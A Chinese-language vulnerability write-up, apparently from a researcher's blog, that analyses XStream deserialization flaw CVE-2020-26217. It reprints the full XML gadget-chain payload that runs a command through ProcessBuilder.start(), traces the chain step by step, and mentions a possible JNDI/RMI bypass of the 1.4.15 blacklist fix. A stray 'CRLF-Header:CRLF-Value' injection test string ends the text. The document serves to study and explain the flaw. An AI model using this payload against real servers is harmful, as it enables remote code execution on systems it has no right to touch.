XStream RCE Analysis
0x00 Background
XStream
这个组件,主要功能是将 Java 对象和 XML 进行互相转换,也就涉及到了序列化和反序列化。之前一直知道这个组件存在反序列化的 RCE
漏洞,但是一直没有分析过,其他网络上的分析 paper 也就是瞟了几眼。
最近在工作中遇到了这个组件,朋友告诉我扫到了一个 RCE
漏洞,修复方案是升级到最新版本,但是印象中这个组件出现过好几次反序列化的问题了。这不禁勾起了我的好奇心,你说这个东西,会像 fastjson
一样频繁出现问题吗?
0x01 XStream 101
作为一款基础的反序列化组件,我们先来看看基本用法:
package me.lightless;
import com.thoughtworks.xstream.XStream;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
class Foo {
private String f1;
public String f2;
public void bar() {
System.out.println(this.f1 + this.f2);
}
private void baz() {
System.out.println(this.f2 + this.f1);
}
}
public class BasicUsage {
public static void main(String[] args) {
String v1 = "Hello World!";
Map<String, String> map = new HashMap<>();
map.put("aa", "bb");
map.put("cc", "dd");
List<String> list1 = new ArrayList<>();
list1.add("hello");
list1.add("world");
List<Map> list2 = new ArrayList<>();
list2.add(map);
list2.add(map);
Foo foo = new Foo();
foo.f2 = "f2";
XStream xStream = new XStream();
System.out.println(xStream.toXML(v1) + "\n===\n");
System.out.println(xStream.toXML(map) + "\n===\n");
System.out.println(xStream.toXML(list1) + "\n===\n");
System.out.println(xStream.toXML(list2) + "\n===\n");
System.out.println(xStream.toXML(foo) + "\n===\n");
}
}
分别对 String, Map, List, Class
进行序列化,看看结果;
<string>Hello World!</string>
===
<map>
<entry>
<string>aa</string>
<string>bb</string>
</entry>
<entry>
<string>cc</string>
<string>dd</string>
</entry>
</map>
===
<list>
<string>hello</string>
<string>world</string>
</list>
===
<list>
<map>
<entry>
<string>aa</string>
<string>bb</string>
</entry>
<entry>
<string>cc</string>
<string>dd</string>
</entry>
</map>
<map reference="../map"/>
</list>
===
<me.lightless.Foo>
<f2>f2</f2>
</me.lightless.Foo>
===
结果还是挺易懂的:
Map
中的每一个键值对,都被包装在了<entry>
标签里,第一项为 key,第二项为 value;List
中的值就直接放到了<list>
标签里;Class
中的字段值,就通过同名的标签来进行赋值;
基本上 XStream
的基础用法就这些了,对于分析漏洞的 poc
来说已经足够了。
0x02 Analysis CVE-2020-26217
XStream
把所有的 CVE
都放到了他们的官网上,很容易找到需要的信息,甚至连 POC
都毫不吝啬的放出来了。这个截至目前为止最新的 RCE CVE 对应的链接:https://x-stream.github.io/CVE-2020-26217.html
完整的 PoC 如下(直接从官网复制的):
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
这 PoC 看起来很长,而且嵌套了好多层,看起来非常的混乱,但是不急,我们把所有嵌套都折叠起来,慢慢看:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>...</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
这不就是我们刚刚看过的 Map
结构嘛,这个 Map
里只有一个 <entry>
,这对键值对的 key
是 NativeStringn
类型的一个实例,value
就是普通的 String
,所以这个 PoC
有效的部分一定都是在 key
对应的 NativeString
实例中。我们再展开继续看:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
...
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
现在可以看到,NativeString
这个对象中,设置了两个字段的值,分别是 flags 字段
和 value 字段
,其中 value 字段
是 Base64Data
这个类的实例对象,并且填充了 dataHandler
和 dataLen
字段;现在嵌套层数已经多起来了,我们单独展开 dataHandler
来看:
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
这一段其实也没啥好说的,按照刚才的思路看就行了,无非就是设置了什么类的什么属性而已;但是到这里为止,我们也只是看懂了这个 PoC 是怎么回事,但是依然不知道他咋就能 RCE 了,那么就跟进代码里分析一下。
0x03 Dive Into XStream
详细的反序列化流程网络上已经有很多文章都分析了,有些写的很棒,我这里也就不再详细分析了,简单记录一下。
首先这个 XStream 反序列化的入口就是 fromXML
方法,传入一个 XML
字符串就可以触发反序列化流程了。
XStream xStream = new XStream();
Object x = xStream.fromXML(payload);
我们一直跟进,一直跟到 com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy#unmarshal
方法,这里的 context.start()
才真正的开始反序列化流程
我们的 PoC
中,一开始提供的是个 Map
,所以这里 convertAnother
最终会进入到 com.thoughtworks.xstream.converters.collections.MapConverter#unmarshal
这个方法里。
继续向下跟进,XStream
会反序列化出每一个 entry
的 key 和 value,然后放到 Map 中;
关键就在这里,有一个大家都知道但是很容易被忽视的点,当向 Map
中添加数据的时候,会调用 key
的 hashCode
方法,回头看一下 PoC,这里的 key 是 NativeString
类的对象,所以实际上第 107 行跟进后,会调用 NativeString#hashCode
方法,我们跟进去看看 NativeString
类是怎么样的:
很明显,我们在 PoC 中构造的 value 字段并不是 String
,而是 Base64Data
,所以会调用到 Base64Data#toString
方法,继续展开看看:
这里的 this.dataHandler
也是我们在 PoC
中精心构造过的,具体的内容可以回顾下 PoC
,是一个 XmlDataSource
,然后便进入了 baos.readFrom(is)
部分, 我们在 PoC
中构造的 is
是 SequenceInputStream
,所以最终会走到 SequenceInputStream#read()
方法:
继续跟进这里的 nextStream()
,会进入到 MultiUIDefaultsEnumerator#nextElement()
方法:
这里由于 type 字段的值我们写死了是 "KEYS",所以会进入第一个 case 的逻辑;在 PoC 中,iterator 被设置为了 javax.imageio.spi.FilterIterator
,所以往这里跟:
这里就稍微有点复杂,反正最后就调用到了 filter.filter(elt)
这个方法,elt
是啥呢?看看 PoC
:
就是一个 ProcessBuilder
,那么 filter.filter()
方法也就知道了,对应为 ContainsFilter#filter()
方法:
很明显,通过反射调用了 ProcessBuilder#start()
方法执行命令了。
0x04 More Thinking
快速的看完整个反序列化流程后,可以说这个漏洞没有什么难点,挺简单的,但是却非常的巧妙,从利用 Map#put
开始,到利用 NativeString#hashCode()
进入到 PoC
代码中,再到最后的 ContainsFilter#filter()
通过反射执行命令,都非常巧妙。
那么高版本是怎么修复的?简单的看了看加调试了一下,发现是通过黑名单修复的,这让我不禁想到了 fastjson
,在 1.4.15
中黑名单如下:
可以看到,我们刚才用到的一些类都被拉黑了,但是这又来了一个新的问题,这黑名单总有被绕过的一天,想想 fastjson
的黑名单,总有可乘之机,简单测试了一下,还是有办法通过 JNDI
搞一下的。
在最新版的 1.4.15
中,已经收到了 RMI
的请求,在低版本的 JDK
中比较好利用,可以直接打,但是高版本的 JDK
利用就稍微有点麻烦了。
CRLF-Header:CRLF-Value